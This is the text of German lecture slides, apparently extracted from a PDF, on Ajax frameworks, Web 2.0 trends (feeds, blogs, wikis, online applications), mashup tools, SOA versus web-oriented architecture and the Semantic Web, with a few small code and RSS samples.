Pro Ajax
– Einige Applikationsmerkmale lassen sich nur /
leichter mit Ajax entwickeln
l
Contra Ajax
– Evtl. Doppelentwicklung nötig
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
88
Überblick
l
l
l
l
l
l
l
l
Die Basis: Document Object Model (DOM),
JavaScript
Sicherheit / Privacy
Werkzuge
Ajax vs. Klassische Webentwicklung
Interaktive Anwendungen mit Ajax
Kompatibilität und Kosten der Entwicklung
Ajax Frameworks
Alternativen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
89
Ajax Frameworks
l
Frameworks unterstützen den Entwickler
– Übernehmen Details der Kommunikation / des
Handlings von XMLHttpRequest
– Encoding der Parameter
– etc...
l
Welches Framework nimmt man?
– Es gibt sehr (zu) viele
– Wir stellen DWR als aussichtsreichen und guten
Kandidaten für Java Backends vor
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
90
Direct Web Remoting
l
Elegante und leicht zu verwendende JavaScript zu Java
Middleware
– JavaScript Stubs werden vom Server dynamisch generiert
– Skeleton Servlet ruft implementierung dynamisch auf
– https://dwr.dev.java.net/
Quelle: https://dwr.dev.java.net/
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
91
Direct Web Remoting
Basis Libs
Stub
Send
Receive
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
92
Überblick
l
l
l
l
l
l
l
l
Die Basis: Document Object Model (DOM),
JavaScript
Sicherheit / Privacy
Werkzuge
Ajax vs. Klassische Webentwicklung
Interaktive Anwendungen mit Ajax
Kompatibilität und Kosten der Entwicklung
Ajax Frameworks
Alternativen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
93
Ajax Alternativen
l
Ajax Merkmale sind
– Interaktivität
– Asynchrones Laden vom Server
– UI Modifikationen von einer Scriptsprache im Client
l
Diese Merkmale lassen sich auch mit anderen
Plattformen realisieren
– Vorteile:
• bessere Kontrolle über die Laufzeitumgebung
• Restriktionen (z.B. Cross Site Call Restriktion) können
umgangen werden
– Nachteile:
• Installation auf dem Client erforderlich
• Abhängigkeit vom Hersteller
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
94
Adobe Flash
l
l
Beliebtes Werkzeug um multimediale
Webseiten zu erstellen
Beinhaltet weiterhin:
– Action Script Sprache
– SOAP / REST Middleware zur Kommunikation mit
dem Server
l
Produkte
– kostenpflichtige Entwicklungsumgebung
– freier Flash Player: annähernd alle Web Benutzer
haben diesen installiert!
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
95
Microsoft Silverlight
l
Microsoft‘s Antwort auf die Herausforderung
Adobes im Markt für Dokumente /
Webplattformen
– ähnliches Konzept
– sehr gute Integration in Visual Studio
– verwendet Mono Runtime für Linux
l
Unterstützung
– freie Plugins für fast alle Browser verfügbar
– Verbreitung noch sehr gering
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
96
Moderne Webanwendungen mit Ajax
und Web 2.0
Teil 3: Komponentenbasierte UIs mit Widgets
Andreas Eberhart
Hewlett-Packard
Web 2.0 User Interface Frameworks
l
l
Durch Ajax kamen einige Web UI frameworks
auf
Frage:
–
–
–
–
l
UI: Wie wird die UI erstellt?
Events: Wo werden die Events verarbeitet?
Models: Wo liegen die MVC Modelle?
Reuse: Wie werden Komponenten wiederverwendet?
Wir untersuchen beispielhaft 4 Frameworks
– Alle 4 Frameworks bsieren auf Ajax, sind aber sehr
unterschiedlich
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
98
Model View Controller
l
Design Pattern
– Trennung von Daten und Anzeige
– Änderungen am Modell werden zu allen Sichten
propagiert
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
99
Google Web Toolkit
l
l
l
Open Source
Basis für GMail, Google Maps, etc.
Idee: Java statt JavaScript
–
–
–
–
l
l
l
l
Bessere Werkzeuge (e.g. Eclipse)
Debugging im Developer Mode
Website wird erstellt mit Java2Javascript Compiler
Viele UI Komponenten
UI: Swing Style
Events: server side
Models: server side
Reuse: Java classes
Eberhart
public class Test implements EntryPoint {
public void onModuleLoad() {
final Button button = new Button("Click me");
final Label label = new Label();
button.addClickListener(new ClickListener() {
Moderne Webanwendungen mit Ajax und Web 2.0
100
ZK
l
l
Open Source
Idee:
– Page layout in ZUL
– Component model für pages / desktops / components
– Event processing wird in ZUL eingebettet
l
l
l
l
UI: in ZUL / HTML / CSS
Events: server side
Models: server side
Reuse: Java Classes / ZUL fragments
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
101
ZK
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
102
Dojo
l
l
Open Source
Idee:
–
–
–
–
l
l
l
l
Reiner JavaScript / keine server side components
Mächtige UI Komponenten
Bietet RPC framework
Bibliotheken für remote calls / cross site calls
UI: HTML / CSS
Events: JavaScript / client side
Models: JavaScript objects / cookie storage
Reuse: UI widgets
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
103
Dojo
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
104
HP Web Komponenten
l
Idee:
– Benutzer arbeitet auf Java Swing Ebene (Menü,
Baum- und Tabellenmodelle)
– Framework realisiert MVC im Web
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
105
HP Web Komponenten
l
Tabelle besteht aus 5 Beans
– datamodel, pagingmodel, selctionmodel, view & controller
l
l
l
l
UI: HTML
Events: server side
Models: server side
Reuse: Widgets
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
106
Weitere Frameworks
l
l
l
l
l
l
l
l
l
l
Microsoft ASP.NET AJAX
Ruby on Rails
MochiKit
Xajax
Yahoo! UI (YUI)
jQuery
Rico
moo.fx
script.aculo.us
Prototype
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
107
Weitere Widgets
l
Neben den üblichen Komponenten wie Tabelle,
Baum, etc. gibt es auch andere widgets
– Maps
– Kalender
l
Diese sind oftmals mit einem Backenddienst
verbunden, z.B.
– Routenplaner
– Geocoder
– Shared Calender
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
108
Google Maps
l
Voraussetzung
– Google login + API key (wird spezifisch für
die URL generiert, von der die AJAX
Aufrufe kommen)
– Karte wird in <div> eingeblendet
l
Sehr mächtige API
–
–
–
–
–
Waypoints in der Karte
Marker
Setzen der Position in der Karte
Callbacks bei Bewegungen in der Karte
API zum auflösen von Addressen in
Koordinaten
– http://www.google.com/apis/maps/document
ation/
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
109
Google Maps API
Karte bewegen: map.setCenter(new GLatLng(37.4419, -122.1419), 13);
Auf Kartenbewegung reagieren: GEvent.addListener(map, "moveend", callback);
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
110
Moderne Webanwendungen mit Ajax
und Web 2.0
Teil 4: Web 2.0 Trends und Technologien
Andreas Eberhart
Hewlett-Packard
Überblick
l
l
l
l
l
Feeds
Blogs
Wikis
Social Networks
Applikationen im Web
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
112
Feeds
l
Feeds wurd zunächst von Nachrichtenseiten eingsetzt
– Schlagzeilen werden aktiv an den Nutzer geleitet
– Klienten pollen dazu den Feed und reagieren auf Änderungen
– Feeds sind einfach XML Dokumente auf die per HTTP
zugegriffen wird
– Feed kann auch als REST Dienst ohne Inputs aufgefasst
werden
l
Technologie
– RSS
– Atom
– GData
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
113
Rich Site Summary (RSS)
l
Weit verbreitetes Format für Abo Dienste
Von quasi allen großen Webseiten eingesetzt
l
Technische Struktur
l
– XML Dokument beinhaltet
• Titel
• Beschreibungen
• URLs
– Client holt RSS vom Server mittels HTTP
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
114
RSS
...html
web2_0.rss
<html>
<head>
<link rel="alternate" type="application/rss+xml"
title="RSS" href="web2_0.rss" />
<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0">
<channel>
<title>Moderne Webanwendungen mit Ajax und Web 2.0</title>
<link>http://web.cecs.pdx.edu/~eberhart/web2.0/</link>
<description>Moderne Webanwendungen mit Ajax und Web
2.0</description>
<language>de-de</language>
<item>
<title>Seminar am 6.11.2006 in Heidelberg</title>
<description>Eine kurze Zusammenfassung des
Artikels</description>
<link>http://www.dia-bonn.de/mwa1_2006/mwa_main.html</link>
<author>Andreas Eberhart</author>
</item>
</channel>
</rss>
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
115
RSS
1
2
3
4
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
116
Andere RSS Clients
l
RSS Feeds können von einer Vielzahl von
Clients verarbeitet werden
– Email-artig (vgl. Newsgroups)
– Aktive Popups (z.B. in Opera)
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
117
Weitere Feed Formate
l
Wozu – Was ist das Problem von RSS?
– Keine ID der Einträge
– Zu simplistisch für weitergehende Applikationen
Feature
Syndication
Queries
Updates
Concurrency
Authentication
Eberhart
GData
Y
Y
Y
Y
Y
Atom
Y
N
Y
N
N
Moderne Webanwendungen mit Ajax und Web 2.0
RSS
Y
N
N
N
N
118
Überblick
l
l
l
l
l
Feeds
Blogs
Wikis
Social Networks
Applikationen im Web
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
119
BLOG
l
l
BLOG entstand aus einer site die sich weblog
nannte. Daraus wurde „we blog“ und
schliesslich blog
Definition
– online Tagebuch
– public
– neueste Einträge (posts) immer oben
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
120
BLOG Software
l
Eigenschaften
–
–
–
–
–
l
Verwaltung der Einträge
Verwaltung der Benutzerkommentare
Layoutanpassung
Bereitstellung der Posts als Feed
Callback an spezielle Suchmaschinen zur
schnelleren Indizierung der Einträge
Lokale Installation
– Wordpress
l
Bei einem Dienstleister
– blogger.com
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
121
Überblick
l
l
l
l
l
Feeds
Blogs
Wikis
Social Networks
Applikationen im Web
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
122
Wiki
l
Idee
– für jedermann zu editierende Website
– gemeinsamer online schmierzettel
l
Wikis eignen sich
– um Material und Ideen für ein neues Projekt zu
sammeln
– innerhalb einer (geographisch verteilten) Gruppe
Informationen auszutauschen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
123
Wiki
l
Layout
– verwendet einfache Syntax zum Layout
• _bold_
l
Wichtige Begriffe werden gesondert
gekennzeichnet
– [Begriff]
– system stellt automatisch einen Link zum
betreffenden Eintrag her
– gibt es die Seite noch nicht, wird sofort zum
schreiben der Seite aufgefordert
– Ähnliche Begriffe / Doppeldeutigkeiten werden
per Auswahlseite disambiguiert
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
124
Wiki Dokumentsyntax
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
125
Erstellung eines Wiki Eintrags
1
2
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
126
Erstellung eines Wiki Eintrags
Lesbare URL
Jeder Nutzer
kann sofort
editiern…
… und
fehlende
Einträge
ergänzen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
127
Email, Fileserver und Wikis
l
Email vs. Wikis
– derzeit werden Informationen meist per email
Attachments verteilt
– Vorteil: jeder nutzt email
– Nachteil: Informationen sind schwer zu finden und
zu editieren
– Vorteile von Wikis: Wissen ist durch die Links
strukturiert
l
Fieserver vs. Wikis
– Nachteil: Information meist nicht verlinkt da
Dokumente in MS Office geschieben sind
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
128
Einführung eines Wikis
l
Vorsicht bei der Einführung!
– es gehört eine gewisse Gruppendisziplin dazu das
neue Medium zu verwenden
– Wikis leben von der Aktualität und häufigen
Einträgen / Änderungen
l
Tip
– fangen Sie innerhalb einer nicht zu kleinen Gruppe
von Leuten an
– in der Übergangsphase helfen Emails die auf Wiki
Dokumente verweisen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
129
Hosted Wiki
l
l
Wie Blogs können Wikis entweder lokal
installiert werden oder als Dienst gehostet sein
Lokale Software
– Media Wiki
– SnipSnap
– ...
l
Hosted Lösung
– http://www.jot.com/
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
130
Überblick
l
l
l
l
l
Feeds
Blogs
Wikis
Social Networks
Applikationen im Web
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
131
Hosted Social Network
l
l
Es kann auch interessant für eine (lose
verbundene) Arbeitsgruppe sein, ein soziales
Netzwerk aufzubauen
Falls das Netzwerk geschlossen sein soll, also
bestehende Netze wie Xing oder LinkedIn nicht
in frage kommen:
– http://www.ning.com/
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
132
Überblick
l
l
l
l
l
Feeds
Blogs
Wikis
Social Networks
Applikationen im Web
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
133
Online Applikationen
l
Das Internet wird zunehmend zur Plattform für
herkömmliche Anwendungen
–
–
–
–
Eberhart
Kalender
Tabellenkalkulation
Textverarbeitung
Desktops
Moderne Webanwendungen mit Ajax und Web 2.0
134
Google Calendar
l
l
Funktioniert in Verbindung mit GMail
Stellt eine API bereit mit der der Kalender in Mashups einbezogen
werden kann
http://code.google.com/apis/gdata/calendar.html
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
135
Google Spreadsheet
l
Stellt upload für die gängigen Formate bereit
– DOC, XLS, ODF, ODS, RTF, CSV
l
Umfangreiche Kollaborations- und
Versionierungsmöglichkeiten
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
136
Online Desktops
l
Browserbasierter Desktop
– Kann durch den Benutzer selbst zusammengestellt werden
– Bausteine sind sog. „Gadgets“ (mini Webseiten)
– Es fehlt jedoch die Interaktion zwischen den Gadgets
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
137
Textverarbeitung
l
Online Textverarbeitung
– 2006 von Google gekauft
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
138
Windows Live / Office Live
l
Microsoft‘s Antwort auf die Herausforderung von
Google
– Grundlegende Neugestaltung und Erweiterung von
MSN
– Soll durch Abo und Werbeeinnahmen finanziert
werden
l
Vielzahl von Diensten
–
–
–
–
–
Eberhart
Kalender
Bildersuche
Email
Desktop mit Gadgets
Wifi Suche
Moderne Webanwendungen mit Ajax und Web 2.0
139
Salesforce.com
l
Anbieter von online customer relationship
management (CRM) Lösungen
– Daten und Applikation sind gehostet
– Programmatischer Zugriff per SOAP API
– „Appmosphere“ Plugin- und Dienstleisterökosystem
l
Unterstreicht den Trend weg von lokal zu
installierender Software
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
140
Moderne Webanwendungen mit Ajax
und Web 2.0
Teil 5: Integration von Anwendungen mit Mashups
Andreas Eberhart
Hewlett-Packard
Überblick
l
l
l
Dienste und Datenquellen
Öffentliche Dienstverzeichnisse
Web 2.0 IDEs
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
142
Datenquellen
l
Grundlegendes Problem:
– Was habe ich davon meine Daten als Website
anzubieten?
• Ich kann mit Werbung Geld verdienen
– Was habe ich davon meine Daten als XML
anzubieten?
• Abo Dienst
• ???
l
Der Web 2.0 / Open Source / Open
Content Gedanke trägt enorm zum
Entstehen vielen Datenquellen für das
Web 2.0 bei
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
143
Google Geocode Lookup
Inputs: Addresse
Format des outputs
Dev Key
Output: Details der
Addresse als
XML / JSON
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
144
Google Suggest
l
Findet beliebte Suchbegriffe mit gegebenem
Präfix
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
145
Amazon
l
Amazon bietet eine ganze Reihe von Diensten
–
–
–
–
l
l
Warenkorb / Produktabfrage
Compute Cloud
S3 Storage
Mechanical Turk
SOAP und REST Schnittstellen
Beispiel
– Auf AWS aufbauender Dienst eines Drittanbieters:
• Schicke per Fotohandy den Barcode
• Dienst schickt Amazon Reviews zurück
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
146
Dapper
l
Online Werkzeug zum Extrahieren von
strukturierten Informationen aus HTML
– Grafische Benutzeroberfläche die es erlaubt die
relevanten Informationen in HTML zu markieren
– Ausgabe als RSS, XML, Email, etc.
dappit.com
HTML
Dapp
edit
Dapp
Eberhart
Quelle
XML
Moderne Webanwendungen mit Ajax und Web 2.0
147
WebRPC – XHTML Scraper
l
Ähnlicher Ansatz wie Dapper
– HTML Seite wird mit W3C tidy in XHTML gewandelt
und ist somit ein REST / XML Dienst
– Selektion der relevanten Ergebnisse per XPath
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
148
Überblick
l
l
l
Dienste und Datenquellen
Öffentliche Dienstverzeichnisse
Web 2.0 IDEs
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
149
programmableweb
l
Portal für
– Web 2.0 APIs
– Mashups
l
Sozusagen das
„UDDI“ für Web 2.0
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
150
WebRPC
l
Service Registry wie programmableweb
– www.webrpc.com
l
Weitere Funktionalität
–
–
–
–
l
Testen der Dienste
Outputs mit XPath bearbeiten
Anzeige der Performance und Availability
Client-Code (.NET, Java, JavaScript) wird erzeugt und kann mit
cut & paste übernommen werden
Supported Service Types
–
–
–
–
Eberhart
SOAP
REST
JSON
HTML (via XHTML conversion)
Moderne Webanwendungen mit Ajax und Web 2.0
151
WebRPC – Monitor Service Performance
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
152
WebRPC – Outputs mit XPath Filtern
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
153
Überblick
l
l
l
Dienste und Datenquellen
Öffentliche Dienstverzeichnisse
Web 2.0 IDEs
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
154
Web 2.0 IDEs
l
Für die Entwicklung herkömmlicher (Web) UIs
gibt es einige IDEs
– Grafisches Anordnen der Komonenten
– Hilfe bei der Erstellung der Eventverarbeitung
l
Beispiele
– Visual Studio
– SAP Netweaver
– JBuilder
l
Es gibt inzwischen bereits ähnliche Ansätze für
Mashups
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
155
Web 2.0 IDE – Yahoo Pipes
l
Idee: Inputs wie RSS feeds werden durch Pipes
geschleust
– Ergebnis ist
eigener
feed / website
– Editor für nicht
Techniker
bedienbar
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
156
Web 2.0 IDEs
l
l
Idee: Visuelles / Komponentenbasiertes Programmieren von
Mashups
Beispiel: IBM QEDWiki http://files.zend.com/qedwiki/
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
157
Web 2.0 IDE - MashupMaker
l
Eher für Entwickler
– Bietet einige Komponenten und Dienste an
– Hilft JavaScript Events und Methoden einzubinden
l
Basiert rein auf Javascript
– Mashup kann per copy & paste übernommen werden
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
158
Web 2.0 IDE - MashupMaker
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
159
Intel Mashmaker
l
Basiert auf Firefox Plugins
– User kann Daten einer Webpage per XPath
identifizieren und für Mashups verwenden
Toolbar
Mashup wir über
direkte Modifikation
der momentanen
Webseite realisiert
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
160
Moderne Webanwendungen mit Ajax
und Web 2.0
Teil 6: Einordnung und Ausblick
Andreas Eberhart
Hewlett-Packard
Überblick
l
l
Web 2.0 und SOA
Web 2.0 und Semantic Web
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
162
Service-Oriented Architectures
l
Service – eine
Softwarekomponente mit einer
formal beschriebenen
Schnittstelle
l
Gibt Zugang zu Anwendungslogik
bzw. -komponenten
l
Kommuniziert durch Anfragen und
Antworten (synchron und
asynchron)
J2EE
J2EE
COM
COM
HTML
HTML
Java
Java
CORBA
CORBA
Service
Service
Service
Service
Service
Service
Service
Service
Service
Service
Service
Service
Service/Messaging
Service/Messaging Backbone
Backbone
Service
Service
l
l
Typischerweise realisiert auf
verteilten Plattformen wie COM,
CORBA, J2EE oder MQSeries
Service
Service Service
Service
Service
Service
Service
Service
Service
Service
OS390
OS390 OS390
OS390
SAP
SAP
Security
Security Registry
Registry
Trans
Trans OS/390
OS/390
Monitor
Monitor
Web Services sind eine wichtige
Grundlage von SOAs
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
163
Technische Basis der SOA
Service
eine logisch abgeschlossene
Softwarekomponente, programmatisch
zugreifbar über eine offene Schnittstelle
Service
Interface
Service
Implementation
Service Oriented Architecture
Eine Applikationstopologie, die aus lose
gekoppelten Diensten und Dienstnutzern
besteht
Eberhart
Service
Consumer
(Client)
Moderne Webanwendungen mit Ajax und Web 2.0
Interface
Proxy
Interface
164
Warum SOAs?
l
l
l
l
l
Alle IT Ressourcen sind
über ein gemeinsames
Backbone zugreifbar
Dadurch Integration
existierender Ressourcen
Applikationsdesign durch
Komposition
Implementierung heute
meist auf CORBA/J2EEbasis
Nächste Generation wird
auf Web Services
basieren
Eberhart
CRM
Web Portal
Microsoft
J2EE
ERP
Packaged
Apps
Procurement
Billing
Service/
Messaging
Backbone
Mainframe
Shipping
Web Service
Moderne Webanwendungen mit Ajax und Web 2.0
Messaging
HR
Custom
Apps
Inventory
CORBA
165
Wo passen Web Services hin?
l
l
Web Services werden
verwendet, um
bestehende BusinessLogik auf eine andere Art
und Weise verfügbar zu
machen
Integration in
Browser
B2B Partner
B2B Partner
JMS /
SOAP
HTTP /
SOAP
HTTP /
HTML
JBoss MQ
Tomcat
Axis
Axis
RMI
– Applikationsserver
– Transaktionen
– Userverwaltung
JSP
RMI
RMI
Swing GUI
RMI
Applikationslogik
EJB / JBoss
JDBC
Daten
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
166
Standardisierung
l
l
l
l
Die Standardisierung wird von drei Organisationen
vorangetrieben.
Das World-Wide Web Consortium (W3C,
http://www.w3.org) kümmert sich um die
Kerntechnologien. Dazu gibt es vier Arbeitsgruppen.
OASIS (Organization for the Advancement of Structured
Information Systems, http://www.oasis-open.org)
kümmert sich um Prozesse und Komposition von Web
Services.
WS-I (Web Services Interoperability Organization)
fördert die Interoperabilität von Web Services durch
Definition von Profilen und Bereitstellung von
Testsuites.
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
167
WS*
l
Es gibt inzwischen eine Vielzahl von
Spezifikationen im WS Bereich (ca. 100)
– Bezeichnung WS*
– Kritik: Wer soll das verstehen / implementieren?
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
168
Web Oriented Architcture (WOA)
l
SOAs können prinzipiell mit beliebiger
Technologie erstellt werden
– man muss nicht zwingenderweise Web Services
verwenden
l
Idee
– „Back to the roots“
– Verzichte auf teilweise unausgegorene WS*
Standards
– Implementiere SOA mit
• REST
• Basic Auth.
• HTTP(S)
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
169
WS* und WOA
l
Web Services
WS*
–
–
–
–
HTTP, Messaging (JMS),...
SOAP
XACML, WS-Security, etc.
SOAP Routing,
Intermediaries, SOAP
Firewalls, etc.
– Machine zu Machine
– Klienten meist in
BPEL4WS, C# und Java
Eberhart
l
Web Oriented
Architecture (WOA)
– HTTP
– REST
– Basic Auth + SSL
–
--– Machine zu Machine und
Mensch zu Maschine
– Klienten meist in
Javascript
Moderne Webanwendungen mit Ajax und Web 2.0
170
Zusammengesetzte Services
l
Problem
– Füge zwei oder mehr Basisdienste zu einem neuen /
erweiterten Angebot zusammen
l
WS*
– Integration z.B. durch Workflows
– WS-BPEL
l
WOA
– Mashups
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
171
Workflows: WS-BPEL
Programmieren im Großen:
Komponenten verwenden
Programmieren im Kleinen:
Komponenten bauen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
172
Beispiel eines Geschäftsprozesses
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
173
WS* und WOA
l
WS*
l
– integration im Backend
– bessere Kontrolle
WOA
– integration im Browser
– einfach: im Zweifel kann
der Browser Text + Grafik
einfach anzeigen
User Interface
User Interface
Glue Code
Glue Code
Proxy
Applikation
Eberhart
Applikation
Applikation
Moderne Webanwendungen mit Ajax und Web 2.0
Applikation
174
SOA und Web 2.0
l
Fazit
– von der grundlegenden Motivation sind sich insb.
Mashups und SOA sehr ähnlich
– SOA ist vor allem im Business Application Bereich in
aller Munde
– Web 2.0 schafft es allerdings massiv Web-Entwickler
an sich zu binden und ist stark im Open Source
Umfeld vertreten
– „Is the (Web 2.0) tail wagging the (SOA) dog?“
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
175
Semantic Web
l
Idee
– Momentanes Web: Web of documents
– Semantic Web: Web of Data
l
Grundlegendes Format
– gerichteter, beschrifteter Graph (Subjekt, Prädikat,
Objekt)
– Knoten sind URIs
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
176
Semantic Web
l
l
Wird derzeit durch das W3C unterstützt
Recommendations
–
–
–
–
l
RDF
RDFS
SparQL
OWL
Weitere standards in Arbeit
– Regelsprache
– Logik
– etc.
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
177
Schichten des Semantic Web
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
178
Semantic Web
l
Vorteile
– Datenintegration ist leicht (Vereinigungsmenge
zweier Graphen, Verwendung von URIs als global
eindeutige Primärschlüssel)
– Unterstützt einfache Logik (via Ontologiesprache
OWL)
l
Nachteile
– Derzeit noch wenige Datenquellen
– Woher kommen die Ontologien / das zu
verwendende Vokabular?
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
179
Web 2.0 und Semantic Web
l
Offensichtliche Anknüpfungspunkte
– AJAX + REST + RDF
– „Web 3.0“ = Web 2.0 + Semantic Web
l
Beispiele
– Semantic Web Browser des W3C
– Semantic Wiki
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
180
Beispiel: Datenintegration
l
MIT Tabulator Projekt
– Verschiedene HTML Tabellen werden per RDF integriert
– http://www.w3.org/2005/ajar/tab
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
181
Semantic Wiki
l
Idee:
– Wiki hyperlinks werden mit Semantischen
Annotationen versehen
– Brücke zwischen Wiki und Informationssystem
l
Software
– Semantic Media Wiki
– Open Source, entwickelt am AIFB in Karlsruhe
– Plugin in das Media Wiki
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
182
Semantic Wiki
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
183
Semantic Wiki
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
184
Web 2.0 und Semantic Web
l
Fazit
– viele Visionen die im Kontext des Semantic Web
gemacht wurden, werden nun durch Web 2.0
umgesetzt
– Semantic Web: Es fehlt die „Instant Gratification“ wie
bei der Erstellung einer Homepage
l
Es bleibt abzuwarten ob die W3C Standards
sich durchsetzen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
185
Zusammenfassung
l
Web 2.0 is eine Sammlung verschiedenster
Trends
– Das demokratische Web of Participation
• blogs, wikis, etc.
– Neue Technologien
• AJAX, REST, etc.
l
Interessant und vor allem vielversprechend sind
– die Einfachheit der Technologien
– die flächenbrandartige Ausweitung die andere
Technologien wie SOA und Semantic Web
vermissen lassen
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
186
Zusammenfassung
l
Anwendungen für‘s eigene Unternehmen
– „Kollektive Intelligenz“:
• Wikis zum Wissensmanagement
• Kollektives Tagging wichtiger Informationen
– Lightweight integration: WOA statt SOA?
– Ajax: dynamische Applikationen im Intra- und Internet
l
Web 2.0: Tragfähige Geschäftsmodelle oder
Internetblase 2.0?
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
187
Referenzen
l
Terminologie und Definitionen
– http://en.wikipedia.org
l
SOA
– T. Erl, Service-Oriented Architecture. Concepts, Technology, and
Design, Prentice Hall International 2005
l
Semantic Web
– G. Antoniou, F. Van Harmelen: A Semantic Web Primer, B&T 2004
l
Middleware / Remote Procedure Calls
– A. Eberhart, S. Fischer: Java Tools, Wiley & Sons 2002
l
Web 2.0 Trends
– http://ajaxian.com/
l
Firmenhomepages (siehe Links in den Folien)
Eberhart
Moderne Webanwendungen mit Ajax und Web 2.0
188